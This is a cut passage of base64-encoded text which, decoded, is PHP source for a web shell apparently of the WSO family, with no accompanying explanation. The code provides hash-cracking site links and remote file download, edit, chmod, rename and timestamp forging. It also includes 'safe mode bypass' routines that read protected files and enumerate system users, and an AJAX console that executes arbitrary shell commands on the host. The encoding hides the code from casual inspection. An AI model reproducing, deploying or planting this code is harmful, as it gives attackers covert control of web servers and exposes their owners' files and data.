YWx1ZT0naGFzaGNyYWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3JhY2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWlsdzBybS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWlsdzBybS5jb20vY3JhY2tlci9zZWFyY2gucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdoYXNoY3JhY2tpbmcuaW5mbycgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcuaW5mby9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5ibGFja25vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL21kNS5ibGFja25vaXplLmNvbS8/cT0nK2RvY3VtZW50LmhmLmhhc2gudmFsdWUrJyZzPW1kNSc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCTwvZm9ybT48L2Rpdj4iOw0KCUJPRkZGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uRmlsZXNUb29scygpIHsNCglpZiggaXNzZXQoJF9QT1NUWydwMSddKSApDQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOw0KCWlmKEAkX1BPU1RbJ3AyJ109PSdkb3dubG9hZCcpIHsNCgkJaWYoQGlzX2ZpbGUoJF9QT1NUWydwMSddKSAmJiBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOw0KCQkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOw0KCQkJaWYgKGZ1bmN0aW9uX2V4aXN0cygibWltZV9jb250ZW50X3R5cGUiKSkgew0KCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7DQoJCQkJaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkdHlwZSk7DQoJCQl9IGVsc2UNCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAiciIpOw0KCQkJaWYoJGZwKSB7DQoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpDQoJCQkJCWVjaG8gQGZyZWFkKCRmcCwgMTAyNCk7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX1leGl0Ow0KCX0NCglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsNCgkJaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7DQoJCQlpZigkZnApIHsNCgkJCQkkX1BPU1RbJ3AyJ10gPSAiZWRpdCI7DQoJCQkJZmNsb3NlKCRmcCk7DQoJCQl9DQoJCX0NCgl9DQoJQk9GRkhlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQlCT0ZGRm9vdGVyKCk7DQoJCXJldHVybjsNCgl9DQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOw0KCWlmKCEkdWlkKSB7DQoJCSR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsNCgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOw0KCX0gZWxzZSAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKSk7DQoJZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycyhAYmFzZW5hbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5TaXplOjwvc3Bhbj4gJy4oaXNfZmlsZSgkX1BPU1RbJ3AxJ10pP0JPRkZWaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcuQk9GRlBlcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCgkJCQkkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlICdjaG1vZCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHBlcm1zID0gMDsNCgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KCQkJCWlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdlZGl0JzoNCgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQoJCQkJJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQoJCQkJaWYoJGZwKSB7DQoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQoJCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAndG91Y2gnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQoJCQkJaWYoJHRpbWUpIHsNCgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQoJCQkJCQllY2hvICdGYWlsISc7DQoJCQkJCWVsc2UNCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsNCgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJQk9GRkZvb3RlcigpOw0KfQ0KDQpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsNCgkkdGVtcD0nJzsNCglvYl9zdGFydCgpOw0KCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsNCgkJY2FzZSAxOg0KCQkJJHRlbXA9QHRlbXBuYW0oJHRlc3QsICdjeCcpOw0KCQkJaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsNCgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7DQoJCQkJdW5saW5rKCR0ZW1wKTsNCgkJCX0gZWxzZQ0KCQkJCWVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOw0KCQkJYnJlYWs7DQoJCWNhc2UgMjoNCgkJCSRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7DQoJCQlpZiggaXNfYXJyYXkoJGZpbGVzKSApDQoJCQkJZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkNCgkJCQkJZWNobyAkZmlsZW5hbWUuIlxuIjsNCgkJCWJyZWFrOw0KCQljYXNlIDM6DQoJCQkkY2ggPSBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIucHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSk7DQoJCQljdXJsX2V4ZWMoJGNoKTsNCgkJCWJyZWFrOw0KCQljYXNlIDQ6DQoJCQlpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQoJCQlpbmNsdWRlKCRfUE9TVFsncDInXSk7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJZm9yKDskX1BPU1RbJ3AyJ10gPD0gJF9QT1NUWydwMyddOyRfUE9TVFsncDInXSsrKSB7DQoJCQkJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOw0KCQkJCWlmICgkdWlkKQ0KCQkJCQllY2hvIGpvaW4oJzonLCR1aWQpLiJcbiI7DQoJCQl9DQoJCQlicmVhazsNCgl9DQoJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsNCglCT0ZGSGVhZGVyKCk7DQoJZWNobyAnPGgxPlNhZmUgbW9kZSBieXBhc3M8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOw0KCWVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCglpZigkdGVtcCkNCgkJZWNobyAnPHByZSBjbGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuaHRtbHNwZWNpYWxjaGFycygkdGVtcCkuJzwvcHJlPic7DQoJZWNobyAnPC9kaXY+JzsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSB0cnVlOw0KICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSBmYWxzZTsNCg0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5CT0ZGRXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7DQoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJew0KCQkJaWYoQGNoZGlyKCRtYXRjaFsxXSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7DQoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7DQoJCWVjaG8gImQuY2Yub3V0cHV0LnNjcm9sbFRvcCA9IGQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOw0KCQkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOw0KCQlleGl0Ow0KCX0NCglCT0ZGSGVhZGVyKCk7DQogICAgZWNobyAiPHNjcmlwdD4NCmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7DQp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7DQp2YXIgY3VyID0gMDsNCmZ1bmN0aW9uIGtwKGUpIHsNCgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsNCglpZihuID09IDM4KSB7DQoJCWN1ci0tOw0KCQlpZihjdXI+PTApDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1cisrOw0KCX0gZWxzZSBpZihuID09IDQwKSB7DQoJCWN1cisrOw0KCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkNCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsNCgkJZWxzZQ0KCQkJY3VyLS07DQoJfQ0KfQ0KZnVuY3Rpb24gYWRkKGNtZCkgew0KCWNtZHMucG9wKCk7DQoJY21kcy5wdXNoKGNtZCk7DQoJY21kcy5wdXNoKCcnKTsNCgljdXIgPSBjbWRzLmxlbmd0aC0xOw0KfQ0KPC9zY3JpcHQ+IjsNCgllY2hvICc8aDE+Q29uc29sZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9Y2Ygb25zdWJtaXQ9ImlmKGQuY2YuY21kLnZhbHVlPT1cJ2NsZWFyXCcpe2QuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZC5jZi5jbWQudmFsdWU9XCdcJztyZXR1cm4gZmFsc2U7fWFkZCh0aGlzLmNtZC52YWx1ZSk7aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO31lbHNle2cobnVsbCxudWxsLHRoaXMuY21kLnZhbHVlLHRoaXMuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7DQoJZm9yZWFjaCgkR0xPQkFMU1snYWxpYXNlcyddIGFzICRuID0+ICR2KSB7DQoJCWlmKCR2ID09ICcnKSB7DQoJCQllY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7DQoJCQljb250aW51ZTsNCgkJfQ0KCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7DQoJfQ0KCWlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7DQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXT8nY2hlY2tlZCc6JycpLic+IHNlbmQgdXNpbmcgQUpBWCA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNob3dfZXJyb3JzIHZhbHVlPTEgJy4oIWVtcHR5KCRfUE9TVFsncDInXSl8fCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkZXJyX3RvX291dCddPydjaGVja2VkJzonJykuJz4gYmxhY2tpcmVjdCBzdGRlcnIgdG8gc3Rkb3V0ICgyPiYxKTwvbm9icj48YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7bWFyZ2luOjA7IiByZWFkb25seT4nOw0KCWlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycygiJCAiLiRfUE9TVFsncDEnXS4iXG4iLkJPRkZFeCgkX1BPU1RbJ3AxJ10pKTs